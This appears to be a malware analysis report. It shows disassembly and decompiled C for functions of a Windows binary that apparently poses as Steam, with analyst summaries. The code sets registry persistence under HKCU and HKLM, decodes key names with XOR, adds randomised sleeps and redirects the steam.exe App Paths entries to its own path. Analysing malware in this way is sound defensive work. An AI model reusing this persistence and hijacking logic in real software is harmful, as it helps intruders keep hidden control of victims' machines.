140006c2889 44 24 28MOV dword ptr [RSP + local_50],EAX
140006c2c48 8d 15 b5 2d 02 00LEA RDX,[u_SteamExe_1400299e8]; "SteamExe"
140006c3341 b9 01 00 00 00MOV R9D,0x1
140006c3948 89 7c 24 20MOV qword ptr [RSP + local_58],RDI
140006c3e45 33 c0XOR R8D,R8D
140006c41ff 15 09 84 01 00CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006c4748 8b 4c 24 50MOV RCX,qword ptr [RSP + local_28]
140006c4cff 15 d6 83 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006c52:
140006c524c 89 7c 24 40MOV qword ptr [RSP + local_38],R15
140006c5748 8d 44 24 50LEA RAX,[RSP + 0x50]
140006c5c48 89 44 24 38MOV qword ptr [RSP + local_40],RAX
140006c6145 33 c9XOR R9D,R9D
140006c644c 89 7c 24 30MOV qword ptr [RSP + local_48],R15
140006c6945 33 c0XOR R8D,R8D
140006c6cc7 44 24 28 02 00 00 00MOV dword ptr [RSP + local_50],0x2
140006c7448 8b d5MOV RDX,RBP
140006c7749 8b ceMOV RCX,R14
140006c7a44 89 7c 24 20MOV dword ptr [RSP + local_58],R15D
140006c7fff 15 bb 83 01 00CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006c8585 c0TEST EAX,EAX
140006c8775 49JNZ LAB_140006cd2
140006c8948 8b c3MOV RAX,RBX
140006c8c0f 1f 40 00NOP dword ptr [RAX]
LAB_140006c90:
140006c9066 44 39 7c 46 02CMP word ptr [RSI + RAX*0x2 + 0x2],R15W
140006c9648 8d 40 01LEA RAX,[RAX + 0x1]
140006c9a75 f4JNZ LAB_140006c90
140006c9c48 8b 4c 24 50MOV RCX,qword ptr [RSP + local_28]
140006ca18d 04 45 02 00 00 00LEA EAX,[0x2 + RAX*0x2]
140006ca889 44 24 28MOV dword ptr [RSP + local_50],EAX
140006cac48 8d 15 4d 2d 02 00LEA RDX,[u_SteamPath_140029a00]; "SteamPath"
140006cb341 b9 01 00 00 00MOV R9D,0x1
140006cb948 89 74 24 20MOV qword ptr [RSP + local_58],RSI
140006cbe45 33 c0XOR R8D,R8D
140006cc1ff 15 89 83 01 00CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006cc748 8b 4c 24 50MOV RCX,qword ptr [RSP + local_28]
140006cccff 15 56 83 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006cd2:
140006cd24c 89 7c 24 40MOV qword ptr [RSP + local_38],R15
140006cd748 8d 44 24 50LEA RAX,[RSP + 0x50]
140006cdc48 89 44 24 38MOV qword ptr [RSP + local_40],RAX
140006ce145 33 c9XOR R9D,R9D
140006ce44c 89 7c 24 30MOV qword ptr [RSP + local_48],R15
140006ce945 33 c0XOR R8D,R8D
140006cecc7 44 24 28 02 00 00 00MOV dword ptr [RSP + local_50],0x2
140006cf448 8b d5MOV RDX,RBP
140006cf749 8b ceMOV RCX,R14
140006cfa44 89 7c 24 20MOV dword ptr [RSP + local_58],R15D
140006cffff 15 3b 83 01 00CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006d0585 c0TEST EAX,EAX
140006d0775 4aJNZ LAB_140006d53
140006d0948 8b 8c 24 a0 00 00 00MOV RCX,qword ptr [RSP + param_5]
LAB_140006d11:
140006d1166 44 39 7c 59 02CMP word ptr [RCX + RBX*0x2 + 0x2],R15W
140006d1748 8d 5b 01LEA RBX,[RBX + 0x1]
140006d1b75 f4JNZ LAB_140006d11
140006d1d8d 04 5d 02 00 00 00LEA EAX,[0x2 + RBX*0x2]
140006d2441 b9 01 00 00 00MOV R9D,0x1
140006d2a89 44 24 28MOV dword ptr [RSP + local_50],EAX
140006d2e48 8d 15 9b 2c 02 00LEA RDX,[u_InstallPath_1400299d0]; "InstallPath"
140006d3548 89 4c 24 20MOV qword ptr [RSP + local_58],RCX
140006d3a45 33 c0XOR R8D,R8D
140006d3d48 8b 4c 24 50MOV RCX,qword ptr [RSP + local_28]
140006d42ff 15 08 83 01 00CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006d4848 8b 4c 24 50MOV RCX,qword ptr [RSP + local_28]
140006d4dff 15 d5 82 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006d53:
140006d534c 8d 5c 24 60LEA R11,[RSP + 0x60]
140006d5849 8b 5b 20MOV RBX,qword ptr [R11 + local_res8]
140006d5c49 8b 6b 28MOV RBP,qword ptr [R11 + local_res10]
140006d6049 8b 73 30MOV RSI,qword ptr [R11 + local_res18]
140006d6449 8b e3MOV RSP,R11
140006d6741 5fPOP R15
140006d6941 5ePOP R14
140006d6b5fPOP RDI
140006d6cc3RET

sets up registry persistence under HKCU…

0x140006d70961 bytes
undefined FUN_140006d70(wchar_t * param_1, BYTE * param_2, BYTE * param_3)

sets up registry persistence under HKCU and HKLM with XOR-decoded key names and random sleep

Cited as
E4
Behaviours
B3, B9
Called from
FUN_140007950
Calls
RegCloseKey RegCreateKeyExW RegSetValueExW Sleep GetCurrentProcessId GetTickCount FUN_140005e80, FUN_140006950, FUN_140006bb0, __security_check_cookie, wcscpy_s, FUN_1400112c4
Decompiled C · 124 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140006d70(wchar_t *param_1,BYTE *param_2,BYTE *param_3)

{
  wchar_t *pwVar1;
  longlong lVar2;
  DWORD DVar3;
  DWORD DVar4;
  int iVar5;
  LSTATUS LVar6;
  wchar_t *pwVar7;
  longlong lVar8;
  ulonglong uVar9;
  longlong lVar10;
  undefined1 auStackY_528 [32];
  HKEY local_4d8 [2];
  uint local_4c8;
  uint uStack_4c4;
  uint uStack_4c0;
  uint uStack_4bc;
  uint local_4b8;
  uint uStack_4b4;
  uint uStack_4b0;
  uint uStack_4ac;
  ushort auStack_4a8 [4];
  undefined2 local_4a0;
  wchar_t local_468 [264];
  WCHAR local_258 [264];
  ulonglong local_48;
  
  local_48 = DAT_14002e040 ^ (ulonglong)auStackY_528;
  local_4c8 = _DAT_14002a510 ^ _DAT_14002a3f0;
  uStack_4c4 = _UNK_14002a514 ^ _UNK_14002a3f4;
  uStack_4c0 = _UNK_14002a518 ^ _UNK_14002a3f8;
  uStack_4bc = _UNK_14002a51c ^ _UNK_14002a3fc;
  local_4b8 = _DAT_14002a510 ^ _DAT_14002a400;
  uStack_4b4 = _UNK_14002a514 ^ _UNK_14002a404;
  uStack_4b0 = _UNK_14002a518 ^ _UNK_14002a408;
  uStack_4ac = _UNK_14002a51c ^ _UNK_14002a40c;
  uVar9 = 0x20;
  do {
    *(ushort *)((longlong)&local_4c8 + uVar9) = *(ushort *)(&DAT_14002a3f0 + uVar9) ^ 0x5a5a;
    uVar9 = uVar9 + 2;
  } while (uVar9 < 0x28);
  lVar10 = -1;
  local_4a0 = 0;
  FUN_1400112c4(local_258,0x104,(longlong)&local_4c8,-1);
  wcscpy_s(local_468,0x104,param_1);
  pwVar7 = local_468;
  while (local_468[0] != L'\0') {
    if (local_468[0] == L'\\') {
      *pwVar7 = L'/';
    }
    pwVar1 = pwVar7 + 1;
    pwVar7 = pwVar7 + 1;
    local_468[0] = *pwVar1;
  }
  DVar3 = GetCurrentProcessId();
  DVar4 = GetTickCount();
  Sleep(((DVar3 ^ DVar4) & 0x3ff) + 0x50);
  FUN_140006bb0((HKEY)0xffffffff80000001,local_258,(BYTE *)local_468,param_3,param_2);
  FUN_140006950((HKEY)0xffffffff80000001,(BYTE *)param_1);
  iVar5 = FUN_140005e80();
  if (iVar5 != 0) {
    DVar3 = GetCurrentProcessId();
    DVar4 = GetTickCount();
    Sleep(((DVar3 ^ DVar4) & 0x3ff) + 0x50);
    FUN_140006bb0((HKEY)0xffffffff80000002,local_258,(BYTE *)local_468,param_3,param_2);
    FUN_140006bb0((HKEY)0xffffffff80000002,L"SOFTWARE\\WOW6432Node\\Valve\\Steam",(BYTE *)local_468,
                  param_3,param_2);
    FUN_140006950((HKEY)0xffffffff80000002,(BYTE *)param_1);
    LVar6 = RegCreateKeyExW((HKEY)0xffffffff80000002,
                            L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe",0,
                            (LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_4d8,(LPDWORD)0x0);
    if (LVar6 == 0) {
      lVar8 = -1;
      do {
        lVar2 = lVar8 + 1;
        lVar8 = lVar8 + 1;
      } while (param_1[lVar2] != L'\0');
      RegSetValueExW(local_4d8[0],(LPCWSTR)0x0,0,1,(BYTE *)param_1,(int)lVar8 * 2 + 2);
      RegCloseKey(local_4d8[0]);
    }
    LVar6 = RegCreateKeyExW((HKEY)0xffffffff80000002,
                            L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe",0,
                            (LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_4d8,(LPDWORD)0x0);
    if (LVar6 == 0) {
      lVar8 = -1;
      do {
        lVar2 = lVar8 * 2;
        lVar8 = lVar8 + 1;
      } while (*(short *)(param_2 + lVar2 + 2) != 0);
      RegSetValueExW(local_4d8[0],L"Path",0,1,param_2,(int)lVar8 * 2 + 2);
      RegCloseKey(local_4d8[0]);
    }
    LVar6 = RegCreateKeyExW((HKEY)0xffffffff80000002,
                            L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe"
                            ,0,(LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_4d8,(LPDWORD)0x0);
    if (LVar6 == 0) {
      lVar8 = -1;
      do {
        lVar2 = lVar8 + 1;
        lVar8 = lVar8 + 1;
      } while (param_1[lVar2] != L'\0');
      RegSetValueExW(local_4d8[0],(LPCWSTR)0x0,0,1,(BYTE *)param_1,(int)lVar8 * 2 + 2);
      RegCloseKey(local_4d8[0]);
    }
    LVar6 = RegCreateKeyExW((HKEY)0xffffffff80000002,
                            L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe"
                            ,0,(LPWSTR)0x0,0,2,(LPSECURITY_ATTRIBUTES)0x0,local_4d8,(LPDWORD)0x0);
    if (LVar6 == 0) {
      do {
        lVar8 = lVar10 * 2;
        lVar10 = lVar10 + 1;
      } while (*(short *)(param_2 + lVar8 + 2) != 0);
      RegSetValueExW(local_4d8[0],L"Path",0,1,param_2,(int)lVar10 * 2 + 2);
      RegCloseKey(local_4d8[0]);
    }
  }
}

Assembly · 206 instructions, 15 annotated
AddressBytesInstructionComment
140006d7040 55PUSH RBP
140006d7253PUSH RBX
140006d7356PUSH RSI
140006d7457PUSH RDI
140006d7541 54PUSH R12
140006d7741 56PUSH R14
140006d7941 57PUSH R15
140006d7b48 8d ac 24 10 fc ff ffLEA RBP,[RSP + -0x3f0]
140006d8348 81 ec f0 04 00 00SUB RSP,0x4f0
140006d8a48 8b 05 af 72 02 00MOV RAX,qword ptr [DAT_14002e040]
140006d9148 33 c4XOR RAX,RSP
140006d9448 89 85 e0 03 00 00MOV qword ptr [RBP + local_48],RAX
140006d9b66 0f 6f 0d 6d 37 02 00MOVDQA XMM1,xmmword ptr [DAT_14002a510]
140006da34c 8b f2MOV R14,RDX
140006da666 0f 6f c1MOVDQA XMM0,XMM1
140006daa48 8d 15 3f 36 02 00LEA RDX,[DAT_14002a3f0]
140006db10f 57 05 38 36 02 00XORPS XMM0,xmmword ptr [DAT_14002a3f0]
140006db848 8b f1MOV RSI,RCX
140006dbb0f 57 0d 3e 36 02 00XORPS XMM1,xmmword ptr [DAT_14002a400]
140006dc24d 8b f8MOV R15,R8
140006dc5f3 0f 7f 44 24 60MOVDQU xmmword ptr [RSP + local_4c8[0]],XMM0
140006dcbb9 20 00 00 00MOV ECX,0x20
140006dd0f3 0f 7f 4c 24 70MOVDQU xmmword ptr [RSP + local_4b8[0]],XMM1
140006dd666 66 0f 1f 84 00 00 00 …NOP dword ptr [RAX + RAX*0x1]
LAB_140006de0:
140006de0b8 5a 5a 00 00MOV EAX,0x5a5a
140006de566 33 04 11XOR AX,word ptr [RCX + RDX*0x1]; "?Z;Z7Z"
140006de966 89 44 0c 60MOV word ptr [RSP + RCX*0x1 + 0x60],AX
140006dee48 83 c1 02ADD RCX,0x2
140006df248 83 f9 28CMP RCX,0x28
140006df672 e8JC LAB_140006de0
140006df848 c7 c7 ff ff ff ffMOV RDI,-0x1
140006dff4c 8d 44 24 60LEA R8,[RSP + 0x60]
140006e0445 33 e4XOR R12D,R12D
140006e0748 8d 8d d0 01 00 00LEA RCX,[RBP + 0x1d0]
140006e0e4c 8b cfMOV R9,RDI
140006e1166 44 89 65 88MOV word ptr [RBP + local_4a0],R12W
140006e16ba 04 01 00 00MOV EDX,0x104
140006e1be8 a4 a4 00 00CALL FUN_1400112c4; FUN_1400112c4: GetLastError, SetLastError
140006e204c 8b c6MOV R8,RSI
140006e2348 8d 4d c0LEA RCX,[RBP + -0x40]
140006e27ba 04 01 00 00MOV EDX,0x104
140006e2ce8 97 a3 00 00CALL wcscpy_s
140006e310f b7 4d c0MOVZX ECX,word ptr [RBP + local_468]
140006e3548 8d 45 c0LEA RAX,[RBP + -0x40]
140006e3966 85 c9TEST CX,CX
140006e3c74 1aJZ LAB_140006e58
140006e3e66 90NOP
LAB_140006e40:
140006e4066 83 f9 5cCMP CX,0x5c
140006e4475 05JNZ LAB_140006e4b
140006e4666 c7 00 2f 00MOV word ptr [RAX],0x2f
LAB_140006e4b:
140006e4b0f b7 48 02MOVZX ECX,word ptr [RAX + local_466]
140006e4f48 83 c0 02ADD RAX,0x2
140006e5366 85 c9TEST CX,CX
140006e5675 e8JNZ LAB_140006e40
LAB_140006e58:
140006e58ff 15 2a 84 01 00CALL qword ptr [PTR_GetCurrentProcessId_14001f288]
140006e5e8b d8MOV EBX,EAX
140006e60ff 15 32 84 01 00CALL qword ptr [PTR_GetTickCount_14001f298]
140006e6633 d8XOR EBX,EAX
140006e6881 e3 ff 03 00 00AND EBX,0x3ff
140006e6e8d 4b 50LEA ECX,[RBX + 0x50]
140006e71ff 15 c1 83 01 00CALL qword ptr [PTR_Sleep_14001f238]
140006e774d 8b cfMOV R9,R15
140006e7a4c 89 74 24 20MOV qword ptr [RSP + local_508],R14
140006e7f4c 8d 45 c0LEA R8,[RBP + -0x40]
140006e8348 c7 c1 01 00 00 80MOV RCX,-0x7fffffff
140006e8a48 8d 95 d0 01 00 00LEA RDX,[RBP + 0x1d0]
140006e91e8 1a fd ff ffCALL FUN_140006bb0; FUN_140006bb0: RegCreateKeyExW, RegSetValueExW, RegCloseKey
140006e9648 8b d6MOV RDX,RSI
140006e9948 c7 c1 01 00 00 80MOV RCX,-0x7fffffff
140006ea0e8 ab fa ff ffCALL FUN_140006950; FUN_140006950: RegCreateKeyExW, RegSetValueExW, RegCloseKey
140006ea5e8 d6 ef ff ffCALL FUN_140005e80; FUN_140005e80: GetCurrentProcess, OpenProcessToken, GetTokenInformation, CloseHandle
140006eaa85 c0TEST EAX,EAX
140006eac0f 84 70 02 00 00JZ LAB_140007122
140006eb2ff 15 d0 83 01 00CALL qword ptr [PTR_GetCurrentProcessId_14001f288]
140006eb88b d8MOV EBX,EAX
140006ebaff 15 d8 83 01 00CALL qword ptr [PTR_GetTickCount_14001f298]
140006ec033 d8XOR EBX,EAX
140006ec281 e3 ff 03 00 00AND EBX,0x3ff
140006ec88d 4b 50LEA ECX,[RBX + 0x50]
140006ecbff 15 67 83 01 00CALL qword ptr [PTR_Sleep_14001f238]
140006ed14d 8b cfMOV R9,R15
140006ed44c 89 74 24 20MOV qword ptr [RSP + local_508],R14
140006ed94c 8d 45 c0LEA R8,[RBP + -0x40]
140006edd48 c7 c1 02 00 00 80MOV RCX,-0x7ffffffe
140006ee448 8d 95 d0 01 00 00LEA RDX,[RBP + 0x1d0]
140006eebe8 c0 fc ff ffCALL FUN_140006bb0; FUN_140006bb0: RegCreateKeyExW, RegSetValueExW, RegCloseKey
140006ef04d 8b cfMOV R9,R15
140006ef34c 89 74 24 20MOV qword ptr [RSP + local_508],R14
140006ef84c 8d 45 c0LEA R8,[RBP + -0x40]
140006efc48 c7 c1 02 00 00 80MOV RCX,-0x7ffffffe
140006f0348 8d 15 c6 2b 02 00LEA RDX,[u_SOFTWARE\WOW6432Node\Valve\Steam_140029ad0]; "SOFTWARE\\WOW6432Node\\Valve\\Steam"
140006f0ae8 a1 fc ff ffCALL FUN_140006bb0; FUN_140006bb0: RegCreateKeyExW, RegSetValueExW, RegCloseKey
140006f0f48 8b d6MOV RDX,RSI
140006f1248 c7 c1 02 00 00 80MOV RCX,-0x7ffffffe
140006f19e8 32 fa ff ffCALL FUN_140006950; FUN_140006950: RegCreateKeyExW, RegSetValueExW, RegCloseKey
140006f1e4c 89 64 24 40MOV qword ptr [RSP + local_4e8],R12
140006f2348 8d 44 24 50LEA RAX,[RSP + 0x50]
140006f2848 89 44 24 38MOV qword ptr [RSP + local_4f0],RAX
140006f2d48 8d 15 1c 2f 02 00LEA RDX,[u_SOFTWARE\Microsoft\Windows\Curre_140029e50]; "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe"
140006f344c 89 64 24 30MOV qword ptr [RSP + local_4f8],R12
140006f3945 33 c9XOR R9D,R9D
140006f3cc7 44 24 28 02 00 00 00MOV dword ptr [RSP + local_500],0x2
140006f4445 33 c0XOR R8D,R8D
140006f4748 c7 c1 02 00 00 80MOV RCX,-0x7ffffffe
140006f4e44 89 64 24 20MOV dword ptr [RSP + local_508],R12D
140006f53ff 15 e7 80 01 00CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006f5985 c0TEST EAX,EAX
140006f5b75 40JNZ LAB_140006f9d
140006f5d48 8b c7MOV RAX,RDI
LAB_140006f60:
140006f6066 44 39 64 46 02CMP word ptr [RSI + RAX*0x2 + 0x2],R12W
140006f6648 8d 40 01LEA RAX,[RAX + 0x1]
140006f6a75 f4JNZ LAB_140006f60
140006f6c48 8b 4c 24 50MOV RCX,qword ptr [RSP + local_4d8]
140006f718d 04 45 02 00 00 00LEA EAX,[0x2 + RAX*0x2]
140006f7889 44 24 28MOV dword ptr [RSP + local_500],EAX
140006f7c41 b9 01 00 00 00MOV R9D,0x1
140006f8245 33 c0XOR R8D,R8D
140006f8548 89 74 24 20MOV qword ptr [RSP + local_508],RSI
140006f8a33 d2XOR EDX,EDX
140006f8cff 15 be 80 01 00CALL qword ptr [PTR_RegSetValueExW_14001f050]
140006f9248 8b 4c 24 50MOV RCX,qword ptr [RSP + local_4d8]
140006f97ff 15 8b 80 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140006f9d:
140006f9d4c 89 64 24 40MOV qword ptr [RSP + local_4e8],R12
140006fa248 8d 44 24 50LEA RAX,[RSP + 0x50]
140006fa748 89 44 24 38MOV qword ptr [RSP + local_4f0],RAX
140006fac48 8d 15 9d 2e 02 00LEA RDX,[u_SOFTWARE\Microsoft\Windows\Curre_140029e50]; "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe"
140006fb34c 89 64 24 30MOV qword ptr [RSP + local_4f8],R12
140006fb845 33 c9XOR R9D,R9D
140006fbbc7 44 24 28 02 00 00 00MOV dword ptr [RSP + local_500],0x2
140006fc345 33 c0XOR R8D,R8D
140006fc648 c7 c1 02 00 00 80MOV RCX,-0x7ffffffe
140006fcd44 89 64 24 20MOV dword ptr [RSP + local_508],R12D
140006fd2ff 15 68 80 01 00CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
140006fd885 c0TEST EAX,EAX
140006fda75 46JNZ LAB_140007022
140006fdc48 8b c7MOV RAX,RDI
140006fdf90NOP
LAB_140006fe0:
140006fe066 45 39 64 46 02CMP word ptr [R14 + RAX*0x2 + 0x2],R12W
140006fe648 8d 40 01LEA RAX,[RAX + 0x1]
140006fea75 f4JNZ LAB_140006fe0
140006fec48 8b 4c 24 50MOV RCX,qword ptr [RSP + local_4d8]
140006ff18d 04 45 02 00 00 00LEA EAX,[0x2 + RAX*0x2]
140006ff889 44 24 28MOV dword ptr [RSP + local_500],EAX
140006ffc48 8d 15 cd 2e 02 00LEA RDX,[u_Path_140029ed0]; "Path"
14000700341 b9 01 00 00 00MOV R9D,0x1
1400070094c 89 74 24 20MOV qword ptr [RSP + local_508],R14
14000700e45 33 c0XOR R8D,R8D
140007011ff 15 39 80 01 00CALL qword ptr [PTR_RegSetValueExW_14001f050]
14000701748 8b 4c 24 50MOV RCX,qword ptr [RSP + local_4d8]
14000701cff 15 06 80 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140007022:
1400070224c 89 64 24 40MOV qword ptr [RSP + local_4e8],R12
14000702748 8d 44 24 50LEA RAX,[RSP + 0x50]
14000702c48 89 44 24 38MOV qword ptr [RSP + local_4f0],RAX
14000703148 8d 15 a8 2e 02 00LEA RDX,[u_SOFTWARE\WOW6432Node\Microsoft\W_140029ee0]; "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe"
1400070384c 89 64 24 30MOV qword ptr [RSP + local_4f8],R12
14000703d45 33 c9XOR R9D,R9D
140007040c7 44 24 28 02 00 00 00MOV dword ptr [RSP + local_500],0x2
14000704845 33 c0XOR R8D,R8D
14000704b48 c7 c1 02 00 00 80MOV RCX,-0x7ffffffe
14000705244 89 64 24 20MOV dword ptr [RSP + local_508],R12D
140007057ff 15 e3 7f 01 00CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
14000705d85 c0TEST EAX,EAX
14000705f75 40JNZ LAB_1400070a1
14000706148 8b c7MOV RAX,RDI
LAB_140007064:
14000706466 44 39 64 46 02CMP word ptr [RSI + RAX*0x2 + 0x2],R12W
14000706a48 8d 40 01LEA RAX,[RAX + 0x1]
14000706e75 f4JNZ LAB_140007064
14000707048 8b 4c 24 50MOV RCX,qword ptr [RSP + local_4d8]
1400070758d 04 45 02 00 00 00LEA EAX,[0x2 + RAX*0x2]
14000707c89 44 24 28MOV dword ptr [RSP + local_500],EAX
14000708041 b9 01 00 00 00MOV R9D,0x1
14000708645 33 c0XOR R8D,R8D
14000708948 89 74 24 20MOV qword ptr [RSP + local_508],RSI
14000708e33 d2XOR EDX,EDX
140007090ff 15 ba 7f 01 00CALL qword ptr [PTR_RegSetValueExW_14001f050]
14000709648 8b 4c 24 50MOV RCX,qword ptr [RSP + local_4d8]
14000709bff 15 87 7f 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_1400070a1:
1400070a14c 89 64 24 40MOV qword ptr [RSP + local_4e8],R12
1400070a648 8d 44 24 50LEA RAX,[RSP + 0x50]
1400070ab48 89 44 24 38MOV qword ptr [RSP + local_4f0],RAX
1400070b048 8d 15 29 2e 02 00LEA RDX,[u_SOFTWARE\WOW6432Node\Microsoft\W_140029ee0]; "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\steam.exe"
1400070b74c 89 64 24 30MOV qword ptr [RSP + local_4f8],R12
1400070bc45 33 c9XOR R9D,R9D
1400070bfc7 44 24 28 02 00 00 00MOV dword ptr [RSP + local_500],0x2
1400070c745 33 c0XOR R8D,R8D
1400070ca48 c7 c1 02 00 00 80MOV RCX,-0x7ffffffe
1400070d144 89 64 24 20MOV dword ptr [RSP + local_508],R12D
1400070d6ff 15 64 7f 01 00CALL qword ptr [PTR_RegCreateKeyExW_14001f040]
1400070dc85 c0TEST EAX,EAX
1400070de75 42JNZ LAB_140007122
LAB_1400070e0:
1400070e066 45 39 64 7e 02CMP word ptr [R14 + RDI*0x2 + 0x2],R12W
1400070e648 8d 7f 01LEA RDI,[RDI + 0x1]
1400070ea75 f4JNZ LAB_1400070e0
1400070ec48 8b 4c 24 50MOV RCX,qword ptr [RSP + local_4d8]
1400070f18d 04 7d 02 00 00 00LEA EAX,[0x2 + RDI*0x2]
1400070f889 44 24 28MOV dword ptr [RSP + local_500],EAX
1400070fc48 8d 15 cd 2d 02 00LEA RDX,[u_Path_140029ed0]; "Path"
14000710341 b9 01 00 00 00MOV R9D,0x1
1400071094c 89 74 24 20MOV qword ptr [RSP + local_508],R14
14000710e45 33 c0XOR R8D,R8D
140007111ff 15 39 7f 01 00CALL qword ptr [PTR_RegSetValueExW_14001f050]
14000711748 8b 4c 24 50MOV RCX,qword ptr [RSP + local_4d8]
14000711cff 15 06 7f 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_140007122:
14000712248 8b 8d e0 03 00 00MOV RCX,qword ptr [RBP + local_48]
14000712948 33 ccXOR RCX,RSP
14000712ce8 ff 17 00 00CALL __security_check_cookie

extension normalizer

0x140007150271 bytes
undefined FUN_140007150(WCHAR * param_1)

extension normalizer: ensures path ends with expected suffix, appending it if missing

Cited as
E20
Behaviours
B12
Called from
FUN_140007270
Calls
__security_check_cookie, FUN_140008a58, FUN_140009ae0, FUN_140011004, FID_conflict:_wcsicoll
Decompiled C · 44 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007150(WCHAR *param_1)

{
  code *pcVar1;
  undefined2 uVar2;
  int iVar3;
  longlong lVar4;
  ulonglong uVar5;
  undefined1 auStack_248 [20];
  wchar_t local_234 [6];
  short local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStack_248;
  if ((param_1 != (WCHAR *)0x0) && (*param_1 != L'\0')) {
    lVar4 = (longlong)local_228 - (longlong)param_1;
    uVar5 = 0;
    do {
      if (0x102 < uVar5) break;
      uVar2 = FUN_140011004(*param_1);
      *(undefined2 *)(lVar4 + (longlong)param_1) = uVar2;
      uVar5 = uVar5 + 1;
      param_1 = param_1 + 1;
    } while (*param_1 != L'\0');
    if (0x207 < uVar5 * 2) {
      FUN_140008a58();
      pcVar1 = (code *)swi(3);
      (*pcVar1)();
      return;
    }
    local_228[uVar5] = 0;
    uVar5 = 0xffffffffffffffff;
    do {
      uVar5 = uVar5 + 1;
    } while (local_228[uVar5] != 0);
    if ((uVar5 < 6) || (iVar3 = FID_conflict__wcsicoll(local_234 + uVar5,L"steam\\"), iVar3 != 0)) {
      FUN_140009ae0((undefined1 (*) [16])local_228,(undefined1 (*) [16])L"\\steam\\");
    }
  }
}

Assembly · 63 instructions, 3 annotated
AddressBytesInstructionComment
1400071504c 8b dcMOV R11,RSP
14000715353PUSH RBX
14000715448 81 ec 40 02 00 00SUB RSP,0x240
14000715b48 8b 05 de 6e 02 00MOV RAX,qword ptr [DAT_14002e040]
14000716248 33 c4XOR RAX,RSP
14000716548 89 84 24 30 02 00 00MOV qword ptr [RSP + local_18],RAX
14000716d48 8b d9MOV RBX,RCX
14000717048 85 c9TEST RCX,RCX
1400071730f 84 e5 00 00 00JZ LAB_14000725e
14000717966 83 39 00CMP word ptr [RCX],0x0
14000717d0f 84 db 00 00 00JZ LAB_14000725e
LAB_140007183:
14000718349 89 6b 10MOV qword ptr [R11 + local_res10],RBP
14000718733 edXOR EBP,EBP
LAB_140007189:
14000718949 89 73 18MOV qword ptr [R11 + local_res18],RSI
14000718d48 8d 74 24 20LEA RSI,[RSP + 0x20]
14000719249 89 7b 20MOV qword ptr [R11 + local_res20],RDI
14000719648 2b f1SUB RSI,RCX
1400071998b fdMOV EDI,EBP
14000719b0f 1f 44 00 00NOP dword ptr [RAX + RAX*0x1]
LAB_1400071a0:
1400071a048 81 ff 03 01 00 00CMP RDI,0x103
1400071a773 18JNC LAB_1400071c1
1400071a90f b7 0bMOVZX ECX,word ptr [RBX]
1400071ace8 53 9e 00 00CALL FUN_140011004
1400071b166 89 04 1eMOV word ptr [RSI + RBX*0x1],AX
1400071b548 ff c7INC RDI
1400071b848 83 c3 02ADD RBX,0x2
1400071bc66 39 2bCMP word ptr [RBX],BP
1400071bf75 dfJNZ LAB_1400071a0
LAB_1400071c1:
1400071c148 8b b4 24 60 02 00 00MOV RSI,qword ptr [RSP + local_res18]
1400071c948 03 ffADD RDI,RDI
1400071cc48 81 ff 08 02 00 00CMP RDI,0x208
1400071d30f 83 89 00 00 00JNC LAB_140007262
LAB_1400071d9:
1400071d966 89 6c 3c 20MOV word ptr [RSP + RDI*0x1 + 0x20],BP
1400071de48 8d 4c 24 20LEA RCX,[RSP + 0x20]
1400071e348 c7 c0 ff ff ff ffMOV RAX,-0x1
1400071ea66 0f 1f 44 00 00NOP word ptr [RAX + RAX*0x1]
LAB_1400071f0:
1400071f048 ff c0INC RAX
1400071f366 39 2c 41CMP word ptr [RCX + RAX*0x2],BP
1400071f775 f7JNZ LAB_1400071f0
1400071f948 83 f8 06CMP RAX,0x6
1400071fd72 43JC LAB_140007242
1400071ff48 8d 4c 44 14LEA RCX,[RSP + RAX*0x2 + 0x14]
14000720448 8d 15 6d 2d 02 00LEA RDX,[u_steam\_140029f78]; "steam\\"
14000720be8 3c 9e 00 00CALL FID_conflict:_wcsicoll
14000721085 c0TEST EAX,EAX
14000721275 2eJNZ LAB_140007242
140007214b8 01 00 00 00MOV EAX,0x1
LAB_140007219:
14000721948 8b ac 24 58 02 00 00MOV RBP,qword ptr [RSP + local_res10]
14000722148 8b bc 24 68 02 00 00MOV RDI,qword ptr [RSP + local_res20]
LAB_140007229:
14000722948 8b 8c 24 30 02 00 00MOV RCX,qword ptr [RSP + local_18]
14000723148 33 ccXOR RCX,RSP
140007234e8 f7 16 00 00CALL __security_check_cookie
LAB_140007242:
14000724248 8d 15 3f 2d 02 00LEA RDX,[u_\steam\_140029f88]; "\\steam\\"
14000724948 8d 4c 24 20LEA RCX,[RSP + 0x20]
14000724ee8 8d 28 00 00CALL FUN_140009ae0
14000725348 85 c0TEST RAX,RAX
